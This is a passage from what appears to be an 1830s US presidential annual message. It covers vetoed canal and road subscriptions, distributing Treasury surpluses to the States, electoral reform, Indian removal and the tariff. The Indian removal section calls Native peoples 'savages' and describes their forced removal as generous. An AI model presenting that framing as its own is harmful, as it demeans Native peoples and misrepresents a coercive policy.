consolidating into one the General\nand State Governments, which were intended to be kept for ever\ndistinct. I can not perceive how bills authorizing such subscriptions\ncan be otherwise regarded than as bills for revenue, and consequently\nsubject to the rule in that respect prescribed by the Constitution. If\nthe interest of the Government in private companies is subordinate to\nthat of individuals, the management and control of a portion of the\npublic funds is delegated to an authority unknown to the Constitution\nand beyond the supervision of our constituents; if superior, its\nofficers and agents will be constantly exposed to imputations of\nfavoritism and oppression. Direct prejudice the public interest or an\nalienation of the affections and respect of portions of the people may,\ntherefore, in addition to the general discredit resulting to the\nGovernment from embarking with its constituents in pecuniary\nstipulations, be looked for as the probable fruit of such associations.\nIt is no answer to this objection to say that the extent of\nconsequences like these can not be great from a limited and small\nnumber of investments, because experience in other matters teaches\nus--and we are not at liberty to disregard its admonitions--that unless\nan entire stop be put to them it will soon be impossible to prevent\ntheir accumulation until they are spread over the whole country and\nmade to embrace many of the private and appropriate concerns of\nindividuals.The power which the General Government would acquire within the several\nStates by becoming the principal stock-holder in corporations,\ncontrolling every canal and each 60 or 100 miles of every important\nroad, and giving a proportionate vote in all their elections, is almost\ninconceivable, and in my view dangerous to the liberties of the people.This mode of aiding such works is also in its nature deceptive, and in\nmany cases conducive to improvidence in the administration of the\nnational funds. Appropriations will be obtained with much greater\nfacility and granted with less security to the public interest when the\nmeasure is thus disguised than when definite and direct expenditures of\nmoney are asked for. The interests of the nation would doubtless be\nbetter served by avoiding all such indirect modes of aiding particular\nobjects. In a government like ours more especially should all public\nacts be, as far as practicable, simple, undisguised, and intelligible,\nthat they may become fit subjects for the approbation to animadversion\nof the people.The bill authorizing a subscription to the Louisville and Portland\nCanal affords a striking illustration of the difficulty of withholding\nadditional appropriations for the same object when the first erroneous\nstep has been taken by instituting a partnership between the Government\nand private companies. It proposes a third subscription on the part of\nthe United States, when each preceding one was at the time regarded as\nthe extent of the aid which Government was to render to that work; and\nthe accompanying bill for light houses, etc., contains an appropriation\nfor a survey of the bed of the river, with a view to its improvement by\nremoving the obstruction which the canal is designed to avoid. This\nimprovement, if successful, would afford a free passage of the river\nand render the canal entirely useless. To such improvidence is the\ncourse of legislation subject in relation to internal improvements on\nlocal matters, even with the best intentions on the part of Congress.Although the motives which have influenced me in this matter may be\nalready sufficiently stated, I am, never the less, induced by its\nimportance to add a few observations of a general character.In my objections to the bills authorizing subscriptions to the\nMaysville and Rockville road companies I expressed my views fully in\nregard to the power of Congress to construct roads and canals within a\nState of to appropriate money for improvements of a local character. I\nat the same time intimated me belief that the right to make\nappropriations for such as were of a national character had been so\ngenerally acted upon and so long acquiesced in by the Federal and State\nGovernments and the constituents of each as to justify its exercise on\nthe ground of continued and uninterrupted usage, but that it was, never\nthe less, highly expedient that appropriations even of that character\nshould, with the exception made at the time, be deferred until the\nnational debt is paid, and that in the mean while some general rule for\nthe action of the Government in that respect ought to be established.These suggestions were not necessary to the decision of the question\nthen before me, and were, I readily admit, intended to awake the\nattention and draw forth the opinion and observations of our\nconstituents upon a subject of the highest importance to their\ninterests, and one destined to exert a powerful influence upon the\nfuture operations of our political system. I know of no tribunal to\nwhich a public man in this country, in a case of doubt and difficulty,\ncan appeal with greater advantage or more propriety than the judgment\nof the people; and although I must necessarily in the discharge of my\nofficial duties be governed by the dictates of my own judgment, I have\nno desire to conceal my anxious wish to conform as far as I can to the\nviews of those for whom I act.All irregular expressions of public opinion are of necessity attended\nwith some doubt as to their accuracy, but making full allowances on\nthat account I can not, I think, deceive myself in believing that the\nacts referred to, as well as the suggestions which I allowed myself to\nmake in relation to their bearing upon the future operations of the\nGovernment, have been approved by the great body of the people. That\nthose whose immediate pecuniary interests are to be affected by\nproposed expenditures should shrink from the application of a rule\nwhich prefers their more general and remote interests to those which\nare personal and immediate is to be expected. But even such objections\nmust from the nature of our population be but temporary in their\nduration, and if it were otherwise our course should be the same, for\nthe time is yet, I hope, far distant when those intrusted with power to\nbe exercised for the good of the whole will consider it either honest\nor wise to purchase local favors at the sacrifice of principle and\ngeneral good.So understanding public sentiment, and thoroughly satisfied that the\nbest interests of our common country imperiously require that the\ncourse which I have recommended in this regard should be adopted, I\nhave, upon the most mature consideration, determined to pursue it.It is due to candor, as well as to my own feelings, that I should\nexpress the reluctance and anxiety which I must at all times experience\nin exercising the undoubted right of the Executive to withhold his\nassent from bills on other grounds than their constitutionality. That\nthis right should not be exercised on slight occasions all will admit.\nIt is only in matters of deep interest, when the principle involved may\nbe justly regarded as next in importance to infractions of the\nConstitution itself, that such a step can be expected to meet with the\napprobation of the people. Such an occasion do I conscientiously\nbelieve the present to be.In the discharge of this delicate and highly responsible duty I am\nsustained by the reflection that the exercise of this power has been\ndeemed consistent with the obligation of official duty by several of my\npredecessors, and by the persuasion, too, that what ever liberal\ninstitutions may have to fear from the encroachments of Executive\npower, which has been every where the cause of so much strife and\nbloody contention, but little danger is to be apprehended from a\nprecedent by which that authority denies to itself the exercise of\npowers that bring in their train influence and patronage of great\nextent, and thus excludes the operation of personal interests, every\nwhere the bane of official trust.I derive, too, no small degree of satisfaction from the reflection that\nif I have mistaken the interests and wishes of the people the\nConstitution affords the means of soon redressing the error by\nselecting for the place their favor has bestowed upon me a citizen\nwhose opinions may accord with their own. I trust, in the mean time,\nthe interests of the nation will be saved from prejudice by a rigid\napplication of that portion of the public funds which might otherwise\nbe applied to different objects to that highest of all our obligations,\nthe payment of the public debt, and an opportunity be afforded for the\nadoption of some better rule for the operations of the Government in\nthis matter than any which has hitherto been acted upon.Profoundly impressed with the importance of the subject, not merely as\nrelates to the general prosperity of the country, but to the safety of\nthe federal system, I can not avoid repeating my earnest hope that all\ngood citizens who take a proper interest in the success and harmony of\nour admirable political institutions, and who are incapable of desiring\nto convert an opposite state of things into means for the gratification\nof personal ambition, will, laying aside minor considerations and\ndiscarding local prejudices, unite their honest exertions to establish\nsome fixed general principle which shall be calculated to effect the\ngreatest extent of public good in regard to the subject of internal\nimprovement, and afford the least ground for sectional discontent.The general grounds of my objection to local appropriations have been\nheretofore expressed, and I shall endeavor to avoid a repetition of\nwhat has been already urged--the importance of sustaining the State\nsovereignties as far as is consistent with the rightful action of the\nFederal Government, and of preserving the greatest attainable harmony\nbetween them. I will now only add an expression of my conviction--a\nconviction which every day's experience serves to confirm--that the\npolitical creed which inculcates the pursuit of those great objects as\na paramount duty is the true faith, and one to which we are mainly\nindebted for the present success of the entire system, and to which we\nmust alone look for its future stability.That there are diversities in the interests of the different States\nwhich compose this extensive Confederacy must be admitted. Those\ndiversities arising from situation, climate, population, and pursuits\nare doubtless, as it is natural they should be, greatly exaggerated by\njealousies and that spirit of rivalry so inseparable from neighboring\ncommunities. These circumstances make it the duty of those who are\nintrusted with the management of its affairs to neutralize their\neffects as far as practicable by making the beneficial operation of the\nFederal Government as equal and equitable among the several States as\ncan be done consistently with the great ends of its institution.It is only necessary to refer to undoubted facts to see how far the\npast acts of the Government upon the subject under consideration have\nfallen short of this object. The expenditures heretofore made for\ninternal improvements amount to upward of $5 millions, and have been\ndistributed in very unequal proportions amongst the States. The\nestimated expense of works of which surveys have been made, together\nwith that of others projected and partially surveyed, amounts to more\nthan $96 millions.That such improvements, on account of particular circumstances, may be\nmore advantageously and beneficially made in some States than in others\nis doubtless true, but that they are of a character which should\nprevent an equitable distribution of the funds amongst the several\nStates is not to be conceded. The want of this equitable distribution\ncan not fail to prove a prolific source of irritation among the States.We have it constantly before our eyes that professions of superior zeal\nin the cause of internal improvement and a disposition to lavish the\npublic funds upon objects of this character are daily and earnestly put\nforth by aspirants to power as constituting the highest claims to the\nconfidence of the people. Would it be strange, under such\ncircumstances, and in times of great excitement, that grants of this\ndescription should find their motives in objects which may not accord\nwith the public good? Those who have not had occasion to see and regret\nthe indication of a sinister influence in these matters in past times\nhave been more fortunate than myself in their observation of the course\nof public affairs. If to these evils be added the combinations and\nangry contentions to which such a course of things gives rise, with\ntheir baleful influences upon the legislation of Congress touching the\nleading and appropriate duties of the Federal Government, it was but\ndoing justice to the character of our people to expect the severe\ncondemnation of the past which the recent exhibitions of public\nsentiment has evinced.Nothing short of a radical change in the action of the Government upon\nthe subject can, in my opinion, remedy the evil. If, as it would be\nnatural to expect, the States which have been least favored in past\nappropriations should insist on being redressed in those here after to\nbe made, at the expense of the States which have so largely and\ndisproportionately participated, we have, as matters now stand, but\nlittle security that the attempt would do more than change the\ninequality from one quarter to another.Thus viewing the subject, I have heretofore felt it my duty to\nrecommend the adoption of some plan for the distribution of the surplus\nfunds, which may at any time remain in the Treasury after the national\ndebt shall have been paid, among the States, in proportion to the\nnumber of their Representatives, to be applied by them to objects of\ninternal improvement.Although this plan has met with favor in some portions of the Union, it\nhas also elicited objections which merit deliberate consideration. A\nbrief notice of these objections here will not, therefore, I trust, be\nregarded as out of place.They rest, as far as they have come to my knowledge, on the following\ngrounds: first, an objection to the ration of distribution; second, an\napprehension that the existence of such a regulation would produce\nimprovident and oppressive taxation to raise the funds for\ndistribution; 3rd, that the mode proposed would lead to the\nconstruction of works of a local nature, to the exclusion of such as\nare general and as would consequently be of a more useful character;\nand, last, that it would create a discreditable and injurious\ndependence on the part of the State governments upon the Federal power.Of those who object to the ration of representatives as the basis of\ndistribution, some insist that the importations of the respective\nStates would constitute one that would be more equitable; and others\nagain, that the extent of their respective territories would furnish a\nstandard which would be more expedient and sufficiently equitable. The\nration of representation presented itself to my mind, and it still\ndoes, as one of obvious equity, because of its being the ratio of\ncontribution, whether the funds to be distributed be derived from the\ncustoms or from direct taxation. It does not follow, however, that its\nadoption is indispensable to the establishment of the system proposed.\nThere may be considerations appertaining to the subject which would\nrender a departure, to some extent, from the rule of contribution\nproper. Nor is it absolutely necessary that the basis of distribution\nbe confined to one ground. It may, if in the judgment of those whose\nright it is to fix it it be deemed politic and just to give it that\ncharacter, have regard to several.In my first message I stated it to be my opinion that \"it is not\nprobably that any adjustment of the tariff upon principles satisfactory\nto the people of the Union will until a remote period, if ever, leave\nthe Government without a considerable surplus in the Treasury beyond\nwhat may be required for its current surplus\". I have had no cause to\nchange that opinion, but much to confirm it. Should these expectations\nbe realized, a suitable fund would thus be produced for the plan under\nconsideration to operate upon, and if there be no such fund its\nadoption will, in my opinion, work no injury to any interest; for I can\nnot assent to the justness of the apprehension that the establishment\nof the proposed system would tend to the encouragement of improvident\nlegislation of the character supposed. What ever the proper authority\nin the exercise of constitutional power shall at any time here after\ndecide to be for the general good will in that as in other respects\ndeserve and receive the acquiescence and support of the whole country,\nand we have ample security that every abuse of power in that regard by\nagents of the people will receive a speedy and effectual corrective at\ntheir hands. The views which I take of the future, founded on the\nobvious and increasing improvement of all classes of our fellow\ncitizens in intelligence and in public and private virtue, leave me\nwithout much apprehension on that head.I do not doubt that those who come after us will be as much alive as we\nare to the obligation upon all the trustees of political power to\nexempt those for whom they act from all unnecessary burthens, and as\nsensible of the great truth that the resources of the nation beyond\nthose required for immediate and necessary purposes of Government can\nno where be so well deposited as in the pockets of the people.It may some times happen that the interests of particular States would\nnot be deemed to coincide with the general interest in relation to\nimprovements within such States. But if the danger to be apprehended\nfrom this source is sufficient to require it, a discretion might be\nreserved to Congress to direct to such improvements of a general\ncharacter as the States concerned might not be disposed to unite in,\nthe application of the quotas of those States, under the restriction of\nconfining to each State the expenditure of its appropriate quota. It\nmay, however, be assumed as a safe general rule that such improvements\nas serve to increase the prosperity of the respective States in which\nthey are made, by giving new facilities to trade, and thereby\naugmenting the wealth and comfort of their inhabitants, constitute the\nsurest mode of conferring permanent and substantial advantages upon the\nwhole. The strength as well as the true glory of the Confederacy is\nfounded on the prosperity and power of the several independent\nsovereignties of which it is composed and the certainty with which they\ncan be brought into successful active cooperation through the agency of\nthe Federal Government.It is, more over, within the knowledge of such as are at all conversant\nwith public affairs that schemes of internal improvement have from time\nto time been proposed which, from their extent and seeming\nmagnificence, were readily regarded as of national concernment, but\nwhich upon fuller consideration and further experience would now be\nrejected with great unanimity.That the plan under consideration would derive important advantages\nfrom its certainty, and that the moneys set apart for these purposes\nwould be more judiciously applied and economically expended under the\ndirection of the State legislatures, in which every part of each State\nis immediately represented, can not, I think, be doubted. In the new\nStates particularly, where a comparatively small population is\nscattered over an extensive surface, and the representation in Congress\nconsequently very limited, it is natural to expect that the\nappropriations made by the Federal Government would be more likely to\nbe expended in the vicinity of those numbers through whose immediate\nagency they were obtained than if the funds were placed under the\ncontrol of the legislature, in which every county of the State has its\nown representative. This supposition does not necessarily impugn the\nmotives of such Congressional representatives, nor is it so intended.\nWe are all sensible of the bias to which the strongest minds and purest\nhearts are, under such circumstances, liable. In respect to the last\nobjection--its probable effect upon the dignity and independence of\nState governments--it appears to me only necessary to state the case as\nit is, and as it would be if the measure proposed were adopted, to show\nthat the operation is most likely to be the very reverse of that which\nthe objection supposes.In the one case the State would receive its quota of the national\nrevenue for domestic use upon a fixed principle as a matter of right,\nand from a fund to the creation of which it had itself contributed its\nfair proportion. Surely there could be nothing derogatory in that. As\nmatters now stand the States themselves, in their sovereign character,\nare not unfrequently petitioners at the bar of the Federal Legislature\nfor such allowances out of the National Treasury as it may comport with\ntheir pleasure or sense of duty to bestow upon them. It can not require\nargument to prove which of the two courses is most compatible with the\nefficiency or respectability of the State governments.But all these are matters for discussion and dispassionate\nconsideration. That the desired adjustment would be attended with\ndifficulty affords no reason why it should not be attempted. The\neffective operation of such motives would have prevented the adoption\nof the Constitution under which we have so long lived and under the\nbenign influence of which our beloved country has so signally\nprospered. The framers of that sacred instrument had greater\ndifficulties to overcome, and they did overcome them. The patriotism of\nthe people, directed by a deep conviction of the importance of the\nUnion, produced mutual concession and reciprocal forbearance. Strict\nright was merged in a spirit of compromise, and the result has\nconsecrated their disinterested devotion to the general weal. Unless\nthe American people have degenerated, the same result can be again\neffected when ever experience points out the necessity of a resort to\nthe same means to uphold the fabric which their fathers have reared.It is beyond the power of man to make a system of government like ours\nor any other operate with precise equality upon States situated like\nthose which compose this Confederacy; nor is inequality always\ninjustice. Every State can not expect to shape the measures of the\nGeneral Government to suit its own particular interests. The causes\nwhich prevent it are seated in the nature of things, and can not be\nentirely counteracted by human means. Mutual forbearance becomes,\ntherefore, a duty obligatory upon all, and we may, I am confident,\ncount upon a cheerful compliance with this high injunction on the part\nof our constituents. It is not to be supposed that they will object to\nmake such comparatively inconsiderable sacrifices for the preservation\nof rights and privileges which other less favored portions of the world\nhave in vain waded through seas of blood to acquire.Our course is a safe one if it be but faithfully adhered to.\nAcquiescence in the constitutionally expressed will of the majority,\nand the exercise of that will in a spirit of moderation, justice, and\nbrotherly kindness, will constitute a cement which would for ever\npreserve our Union. Those who cherish and inculcate sentiments like\nthese render a most essential service to their country, while those who\nseek to weaken their influence are, how ever conscientious and praise\nworthy their intentions, in effect its worst enemies.If the intelligence and influence of the country, instead of laboring\nto foment sectional prejudices, to be made subservient to party\nwarfare, were in good faith applied to the eradication of causes of\nlocal discontent, by the improvement of our institutions and by\nfacilitating their adaptation to the condition of the times, this task\nwould prove one of less difficulty. May we not hope that the obvious\ninterests of our common country and the dictates of an enlightened\npatriotism will in the end lead the public mind in that direction?After all, the nature of the subject does not admit of a plan wholly\nfree from objection. That which has for some time been in operation is,\nperhaps, the worst that could exist, and every advance that can be made\nin its improvement is a matter eminently worthy of your most deliberate\nattention.It is very possible that one better calculated to effect the objects in\nview may yet be devised. If so, it is to be hoped that those who\ndisapprove the past and dissent from what is proposed for the future\nwill feel it their duty to direct their attention to it, as they must\nbe sensible that unless some fixed rule for the action of the Federal\nGovernment in this respect is established the course now attempted to\nbe arrested will be again resorted to. Any mode which is calculated to\ngive the greatest degree of effect and harmony to our legislation upon\nthe subject, which shall best serve to keep the movements of the\nFederal Government within the sphere intended by those who modeled and\nthose who adopted it, which shall lead to the extinguishment of the\nnational debt in the shortest period and impose the lightest burthens\nupon our constituents, shall receive from me a cordial and firm\nsupport.Among the objects of great national concern I can not omit to press\nagain upon your attention that part of the Constitution which regulates\nthe election of President and Vice-President. The necessity for its\namendment is made so clear to my mind by observation of its evils and\nby the many able discussions which they have elicited on the floor of\nCongress and elsewhere that I should be wanting to my duty were I to\nwithhold another expression of my deep solicitude on the subject. Our\nsystem fortunately contemplates a recurrence to first principles,\ndiffering in this respect from all that have preceded it, and securing\nit, I trust, equally against the decay and the commotions which have\nmarked the progress of other governments.Our fellow citizens, too, who in proportion to their love of liberty\nkeep a steady eye upon the means of sustaining it, do not require to be\nreminded of the duty they owe to themselves to remedy all essential\ndefects in so vital a part of their system. While they are sensible\nthat every evil attendant upon its operation is not necessarily\nindicative of a bad organization, but may proceed from temporary\ncauses, yet the habitual presence, or even a single instance, of evils\nwhich can be clearly traced to an organic defect will not, I trust, be\nover-looked through a too scrupulous veneration for the work of their\nancestors.The Constitution was an experiment committed to the virtue and\nintelligence of the great mass of our country-men, in whose ranks the\nframers of it themselves were to perform the part of patriotic\nobservation and scrutiny, and if they have passed from the stage of\nexistence with an increased confidence in its general adaptation to our\ncondition we should learn from authority so high the duty of fortifying\nthe points in it which time proves to be exposed rather than be\ndeterred from approaching them by the suggestions of fear or the\ndictates of misplaced reverence.A provision which does not secure to the people a direct choice of\ntheir Chief Magistrate, but has a tendency to defeat their will,\npresented to my mind such an inconsistence with the general spirit of\nour institutions that I was indeed to suggest for your consideration\nthe substitute which appeared to me at the same time the most likely to\ncorrect the evil and to meet the views of our constituents. The most\nmature reflection since has added strength to the belief that the best\ninterests of our country require the speedy adoption of some plan\ncalculated to effect this end. A contingency which some times places it\nin the power of a single member of the House of Representatives to\ndecide an election of so high and solemn a character is unjust to the\npeople, and becomes when it occurs a source of embarrassment to the\nindividuals thus brought into power and a cause of distrust of the\nrepresentative body.Liable as the Confederacy is, from its great extent, to parties founded\nupon sectional interests, and to a corresponding multiplication of\ncandidates for the Presidency, the tendency of the constitutional\nreference to the House of Representatives is to devolve the election\nupon that body in almost every instance, and, what ever choice may then\nbe made among the candidates thus presented to them, to swell the\ninfluence of particular interests to a degree inconsistent with the\ngeneral good. The consequences of this feature of the Constitution\nappear far more threatening to the peace and integrity of the Union\nthan any which I can conceive as likely to result from the simple\nlegislative action of the Federal Government.It was a leading object with the framers of the Constitution to keep as\nseparate as possible the action of the legislative and executive\nbranches of the Government. To secure this object nothing is more\nessential than to preserve the former from all temptations of private\ninterest, and therefore so to direct the patronage of the latter as not\nto permit such temptations to be offered. Experience abundantly\ndemonstrates that every precaution in this respect is a valuable\nsafe-guard of liberty, and one which my reflections upon the tendencies\nof our system incline me to think should be made still stronger.It was for this reason that, in connection with an amendment of the\nConstitution removing all intermediate agency in the choice of the\nPresident, I recommended some restrictions upon the re-eligibility of\nthat officer and upon the tenure of offices generally. The reason still\nexists, and I renew the recommendation with an increased confidence\nthat its adoption will strengthen those checks by which the\nConstitution designed to secure the independence of each department of\nthe Government and promote the healthful and equitable administration\nof all the trusts which it has created.The agent most likely to contravene this design of the Constitution is\nthe Chief Magistrate. In order, particularly, that his appointment may\nas far as possible be placed beyond the reach of any improper\ninfluences; in order that he may approach the solemn responsibilities\nof the highest office in the gift of a free people uncommitted to any\nother course than the strict line of constitutional duty, and that the\nsecurities for this independence may be rendered as strong as the\nnature of power and the weakness of its possessor will admit, I can not\ntoo earnestly invite your attention to the propriety of promoting such\nan amendment of the Constitution as will render him ineligible after\none term of service.It gives me pleasure to announce to Congress that the benevolent policy\nof the Government, steadily pursued for nearly 30 years, in relation to\nthe removal of the Indians beyond the white settlements is approaching\nto a happy consummation. Two important tribes have accepted the\nprovision made for their removal at the last session of Congress, and\nit is believed that their example will induce the remaining tribes also\nto seek the same obvious advantages.The consequences of a speedy removal will be important to the United\nStates, to individual States, and to the Indians themselves. The\npecuniary advantages which it promises to the Government are the least\nof its recommendations. It puts an end to all possible danger of\ncollision between the authorities of the General and State Governments\non account of the Indians. It will place a dense and civilized\npopulation in large tracts of country now occupied by a few savage\nhunters. By opening the whole territory between Tennessee on the north\nand Louisiana on the south to the settlement of the whites it will\nincalculably strengthen the south west frontier and render the adjacent\nStates strong enough to repel future invasions without remote aid. It\nwill relieve the whole State of Mississippi and the western part of\nAlabama of Indian occupancy, and enable those States to advance rapidly\nin population, wealth, and power. It will separate the Indians from\nimmediate contact with settlements of whites; free them from the power\nof the States; enable them to pursue happiness in their own way and\nunder their own rude institutions; will retard the progress of decay,\nwhich is lessening their numbers, and perhaps cause them gradually,\nunder the protection of the Government and through the influence of\ngood counsels, to cast off their savage habits and become an\ninteresting, civilized, and Christian community. These consequences,\nsome of them so certain and the rest so probable, make the complete\nexecution of the plan sanctioned by Congress at their last session an\nobject of much solicitude.Toward the aborigines of the country no one can indulge a more friendly\nfeeling than myself, or would go further in attempting to reclaim them\nfrom their wandering habits and make them a happy, prosperous people. I\nhave endeavored to impress upon them my own solemn convictions of the\nduties and powers of the General Government in relation to the State\nauthorities. For the justice of the laws passed by the States within\nthe scope of their reserved powers they are not responsible to this\nGovernment. As individuals we may entertain and express our opinions of\ntheir acts, but as a Government we have as little right to control them\nas we have to prescribe laws for other nations.With a full understanding of the subject, the Choctaw and the Chickasaw\ntribes have with great unanimity determined to avail themselves of the\nliberal offers presented by the act of Congress, and have agreed to\nremove beyond the Mississippi River. Treaties have been made with them,\nwhich in due season will be submitted for consideration. In negotiating\nthese treaties they were made to understand their true condition, and\nthey have preferred maintaining their independence in the Western\nforests to submitting to the laws of the States in which they now\nreside. These treaties, being probably the last which will ever be made\nwith them, are characterized by great liberality on the part of the\nGovernment. They give the Indians a liberal sum in consideration of\ntheir removal, and comfortable subsistence on their arrival at their\nnew homes. If it be their real interest to maintain a separate\nexistence, they will there be at liberty to do so without the\ninconveniences and vexations to which they would unavoidably have been\nsubject in Alabama and Mississippi.Humanity has often wept over the fate of the aborigines of this\ncountry, and Philanthropy has been long busily employed in devising\nmeans to avert it, but its progress has never for a moment been\narrested, and one by one have many powerful tribes disappeared from the\nearth. To follow to the tomb the last of his race and to tread on the\ngraves of extinct nations excite melancholy reflections. But true\nphilanthropy reconciles the mind to these vicissitudes as it does to\nthe extinction of one generation to make room for another. In the\nmonuments and fortifications of an unknown people, spread over the\nextensive regions of the West, we behold the memorials of a once\npowerful race, which was exterminated of has disappeared to make room\nfor the existing savage tribes. Nor is there any thing in this which,\nupon a comprehensive view of the general interests of the human race,\nis to be regretted. Philanthropy could not wish to see this continent\nrestored to the condition in which it was found by our forefathers.\nWhat good man would prefer a country covered with forests and ranged by\na few thousand savages to our extensive Republic, studded with cities,\ntowns, and prosperous farms, embellished with all the improvements\nwhich art can devise or industry execute, occupied by more than\n12,000,000 happy people, and filled with all the blessings of liberty,\ncivilization, and religion?The present policy of the Government is but a continuation of the same\nprogressive change by a milder process. The tribes which occupied the\ncountries now constituting the Eastern States were annihilated or have\nmelted away to make room for the whites. The waves of population and\ncivilization are rolling to the westward, and we now propose to acquire\nthe countries occupied by the red men of the South and West by a fair\nexchange, and, at the expense of the United States, to send them to a\nland where their existence may be prolonged and perhaps made perpetual.Doubtless it will be painful to leave the graves of their fathers; but\nwhat do they more than our ancestors did or than our children are now\ndoing? To better their condition in an unknown land our forefathers\nleft all that was dear in earthly objects. Our children by thousands\nyearly leave the land of their birth to seek new homes in distant\nregions. Does Humanity weep at these painful separations from every\nthing, animate and inanimate, with which the young heart has become\nentwined? Far from it. It is rather a source of joy that our country\naffords scope where our young population may range unconstrained in\nbody or in mind, developing the power and faculties of man in their\nhighest perfection.These remove hundreds and almost thousands of miles at their own\nexpense, purchase the lands they occupy, and support themselves at\ntheir new homes from the moment of their arrival. Can it be cruel in\nthis Government when, by events which it can not control, the Indian is\nmade discontented in his ancient home to purchase his lands, to give\nhim a new and extensive territory, to pay the expense of his removal,\nand support him a year in his new abode? How many thousands of our own\npeople would gladly embrace the opportunity of removing to the West on\nsuch conditions! If the offers made to the Indians were extended to\nthem, they would be hailed with gratitude and joy.And is it supposed that the wandering savage has a stronger attachment\nto his home than the settled, civilized Christian? Is it more\nafflicting to him to leave the graves of his fathers than it is to our\nbrothers and children? Rightly considered, the policy of the General\nGovernment toward the red man is not only liberal, but generous. He is\nunwilling to submit to the laws of the States and mingle with their\npopulation. To save him from this alternative, or perhaps utter\nannihilation, the General Government kindly offers him a new home, and\nproposes to pay the whole expense of his removal and settlement.In the consummation of a policy originating at an early period, and\nsteadily pursued by every Administration within the present century--so\njust to the States and so generous to the Indians--the Executive feels\nit has a right to expect the cooperation of Congress and of all good\nand disinterested men. The States, moreover, have a right to demand it.\nIt was substantially a part of the compact which made them members of\nour Confederacy. With Georgia there is an express contract; with the\nnew States an implied one of equal obligation. Why, in authorizing\nOhio, Indiana, Illinois, Missouri, Mississippi, and Alabama to form\nconstitutions and become separate States, did Congress include within\ntheir limits extensive tracts of Indian lands, and, in some instances,\npowerful Indian tribes? Was it not understood by both parties that the\npower of the States was to be coextensive with their limits, and that\nwith all convenient dispatch the General Government should extinguish\nthe Indian title and remove every obstruction to the complete\njurisdiction of the State governments over the soil? Probably not one\nof those States would have accepted a separate existence--certainly it\nwould never have been granted by Congress--had it been understood that\nthey were to be confined for ever to those small portions of their\nnominal territory the Indian title to which had at the time been\nextinguished.It is, therefore, a duty which this Government owes to the new States\nto extinguish as soon as possible the Indian title to all lands which\nCongress themselves have included within their limits. When this is\ndone the duties of the General Government in relation to the States and\nthe Indians within their limits are at an end. The Indians may leave\nthe State or not, as they choose. The purchase of their lands does not\nalter in the least their personal relations with the State government.\nNo act of the General Government has ever been deemed necessary to give\nthe States jurisdiction over the persons of the Indians. That they\npossess by virtue of their sovereign power within their own limits in\nas full a manner before as after the purchase of the Indian lands; nor\ncan this Government add to or diminish it.May we not hope, therefore, that all good citizens, and none more\nzealously than those who think the Indians oppressed by subjection to\nthe laws of the States, will unite in attempting to open the eyes of\nthose children of the forest to their true condition, and by a speedy\nremoval to relieve them from all the evils, real or imaginary, present\nor prospective, with which they may be supposed to be threatened.Among the numerous causes of congratulation the condition of our impost\nrevenue deserves special mention, in as much as it promises the means\nof extinguishing the public debt sooner than was anticipated, and\nfurnishes a strong illustration of the practical effects of the present\ntariff upon our commercial interests.The object of the tariff is objected to by some as unconstitutional,\nand it is considered by almost all as defective in many of its parts.The power to impose duties on imports originally belonged to the\nseveral States. The right to adjust those duties with a view to the\nencouragement of domestic branches of industry is so completely\nincidental to that power that it is difficult to suppose the existence\nof the one without the other. The States have delegated their whole\nauthority over imports to the General Government without limitation or\nrestriction, saving the very inconsiderable reservation relating to\ntheir inspection laws. This authority having thus entirely passed from\nthe States, the right to exercise it for the purpose of protection does\nnot exist in them, and consequently if it be not possessed by the\nGeneral Government it must be extinct. Our political system would thus\npresent the anomaly of a people stripped of the right to foster their\nown industry and to counteract the most selfish and destructive policy\nwhich might be adopted by foreign nations. This sure can not be the\ncase. This indispensable power thus surrendered by the States must be\nwithin the scope of the authority on the subject expressly delegated to\nCongress.In this conclusion I am confirmed as well by the opinions of Presidents\nWashington, Jefferson, Madison, and Monroe, who have each repeatedly\nrecommended the exercise of this right under the Constitution, as by\nthe uniform practice of Congress, the continued acquiescence of the\nStates, and the general understanding of the people.The difficulties of a more expedient adjustment of the present tariff,\nalthough great, are far from being insurmountable. Some are unwilling\nto improve any of its parts because they would destroy the whole;\nothers fear to touch the objectionable parts lest those they approve\nshould be jeoparded. I am persuaded that the advocates of these\nconflicting views do injustice to the American people and to their\nrepresentatives. The general interest is the interest of each, and my\nconfidence is entire that to insure the adoption of such modifications\nof the tariff as the general interest requires it is only necessary\nthat that interest should be understood.It is an infirmity of our nature to mingle our interests and prejudices\nwith the operation of our reasoning powers, and attribute to the\nobjects of our likes and dislikes qualities they do not possess and\neffects they can not produce. The effects of the present tariff are\ndoubtless over-rated, both in its evils and in its advantages. By one\nclass of reasoners the reduced price of cotton and other agricultural\nproducts is ascribed wholly to its influence, and by another the\nreduced price of manufactured articles.The probability is that neither opinion approaches the truth, and that\nboth are induced by that influence of interests and prejudices to which\nI have referred. The decrease of prices extends throughout the\ncommercial world, embracing not only the raw material and the\nmanufactured article, but provisions and lands. The cause must\ntherefore be deeper and more pervading than the tariff of the United\nStates. It may in a measure be attributable to the increased value of\nthe precious metals, produced by a diminution of the supply and an\nincrease in the demand, while commerce has rapidly extended itself and\npopulation has augmented. The supply of gold and silver, the general\nmedium of exchange, has been greatly interrupted by civil convulsions\nin the countries from which they are principally drawn. A part of the\neffect, too, is doubtless owing to an increase of operatives and\nimprovements in machinery. But on the whole it is questionable whether\nthe reduction in the price of lands, produce, and manufactures has been\ngreater than the appreciation of the standard of value.While the chief object of duties should be revenue, they may be so\nadjusted as to encourage manufactures. In this adjustment, however, it\nis the duty of the Government to be guided by the general good. Objects\nof national importance alone ought to be protected. Of these the\nproductions of our soil, our mines, and our work shops, essential to\nnational defense, occupy the first rank. What ever other species of\ndomestic industry, having the importance to which I have referred, may\nbe expected, after temporary protection, to compete with foreign labor\non equal terms merit the same attention in a subordinate degree.The present tariff taxes some of the comforts of life unnecessarily\nhigh; it undertakes to protect interests too local and minute to\njustify a general exaction, and it also attempts to force some kinds of\nmanufactures for which the country is not ripe. Much relief will be\nderived in some of these respects from the measures of your last\nsession.The best as well as fairest mode of determining whether from any just\nconsiderations a particular interest ought to receive protection would\nbe to submit the question singly for deliberation. If after\ndue examination of its merits, unconnected with extraneous\nconsiderations--such as a desire to sustain a general system or to\npurchase support for a different interest--it should enlist in its\nfavor a majority of the representatives of the people, there can be\nlittle danger of wrong or injury in adjusting the tariff with reference\nto its protective effect. If this obviously just principle were\nhonestly adhered to, the branches of industry which deserve protection\nwould be saved from the prejudice excited against them when that\nprotection forms part of a system by which portions of the country feel\nor conceive themselves to be oppressed. What is incalculably more\nimportant, the vital principle of our system--that principle which\nrequires acquiescence in the will of the majority--would be secure from\nthe discredit and danger to which it is exposed by the acts of\nmajorities founded not on identity of conviction, but on combinations\nof 